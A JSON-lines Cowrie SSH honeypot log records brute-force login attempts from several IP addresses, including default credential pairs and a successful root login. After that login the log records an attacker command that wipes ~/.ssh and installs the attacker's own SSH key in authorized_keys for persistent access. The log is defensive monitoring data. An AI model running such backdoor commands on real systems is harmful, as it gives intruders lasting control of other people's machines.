{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.153.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037\\x83d\\xe5\\xff@1\\xebw^\\x16\\x02\\xc5\\x88\\x0e\\x16T\\x05\\x8e\\xf0\\xd0\\xa0\\x8ct\\x17\\xcc\\xe3\\x98\\x07\\xdb\\x18{ .M\\xa5\\x1d!4FS;\\xc7\\x94\\xae\\xe0\\xd9t\\x80\\x80P\\xa9J;\\x05\\xadP?\\x9a\\xb6\\x8a\\xdd3\\xde\\xab\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa1\\xadx\\t\\xa5\\xa9\\x9a\\xe70\\x83}\\x138:\\x1a\\x19.\\x06\\x93\\xd0P\\x86\\xb6\\xfe\\x0eKn\\xe5inD\\x10\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.153.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037\\x83d\\xe5\\xff@1\\xebw^\\x16\\x02\\xc5\\x88\\x0e\\x16T\\x05\\x8e\\xf0\\xd0\\xa0\\x8ct\\x17\\xcc\\xe3\\x98\\x07\\xdb\\x18{ .M\\xa5\\x1d!4FS;\\xc7\\x94\\xae\\xe0\\xd9t\\x80\\x80P\\xa9J;\\x05\\xadP?\\x9a\\xb6\\x8a\\xdd3\\xde\\xab\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa1\\xadx\\t\\xa5\\xa9\\x9a\\xe70\\x83}\\x138:\\x1a\\x19.\\x06\\x93\\xd0P\\x86\\xb6\\xfe\\x0eKn\\xe5inD\\x10\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:52.041904Z","src_ip":"185.156.73.233","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:52.195893Z","src_ip":"185.156.73.233","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":43218,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b9ad1988a7c","protocol":"ssh","message":"New connection: 2.57.122.210:43218 (10.17.0.5:22) [session: 8b9ad1988a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:23:04.781397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:23:04.786168Z","src_ip":"2.57.122.210","session":"8b9ad1988a7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:23:04.885823Z","src_ip":"2.57.122.210","session":"8b9ad1988a7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:23:05.282763Z","src_ip":"2.57.122.210","session":"8b9ad1988a7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:23:06.388436Z","src_ip":"2.57.122.210","session":"8b9ad1988a7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.76.120.90","src_port":42116,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf376b290f3d","protocol":"ssh","message":"New connection: 103.76.120.90:42116 (10.17.0.5:22) [session: cf376b290f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:32.593948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:32.598587Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:32.850615Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwerty71","message":"login attempt [root/qwerty71] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:33.890078Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:34.422123Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:34.424836Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:34.427798Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:34.681913Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:35.262020Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:35.265003Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:35.520807Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:35.524382Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.76.120.90","src_port":42128,"dst_ip":"10.17.0.5","dst_port":22,"session":"75dc280d8764","protocol":"ssh","message":"New connection: 103.76.120.90:42128 (10.17.0.5:22) [session: 75dc280d8764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:35.759108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:35.764131Z","src_ip":"103.76.120.90","session":"75dc280d8764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:36.010932Z","src_ip":"103.76.120.90","session":"75dc280d8764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:37.020407Z","src_ip":"103.76.120.90","session":"75dc280d8764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:38.267629Z","src_ip":"103.76.120.90","session":"75dc280d8764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.76.120.90","src_port":39912,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b9bf884d603","protocol":"ssh","message":"New connection: 103.76.120.90:39912 (10.17.0.5:22) [session: 7b9bf884d603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:38.512248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:38.517260Z","src_ip":"103.76.120.90","session":"7b9bf884d603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:38.764542Z","src_ip":"103.76.120.90","session":"7b9bf884d603","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:39.771782Z","src_ip":"103.76.120.90","session":"7b9bf884d603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:40.018529Z","src_ip":"103.76.120.90","session":"cf376b290f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:24:40.024297Z","src_ip":"103.76.120.90","session":"7b9bf884d603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":45962,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdf93a8fb30f","protocol":"ssh","message":"New connection: 2.57.122.210:45962 (10.17.0.5:22) [session: cdf93a8fb30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:25:23.708663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:25:23.713128Z","src_ip":"2.57.122.210","session":"cdf93a8fb30f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 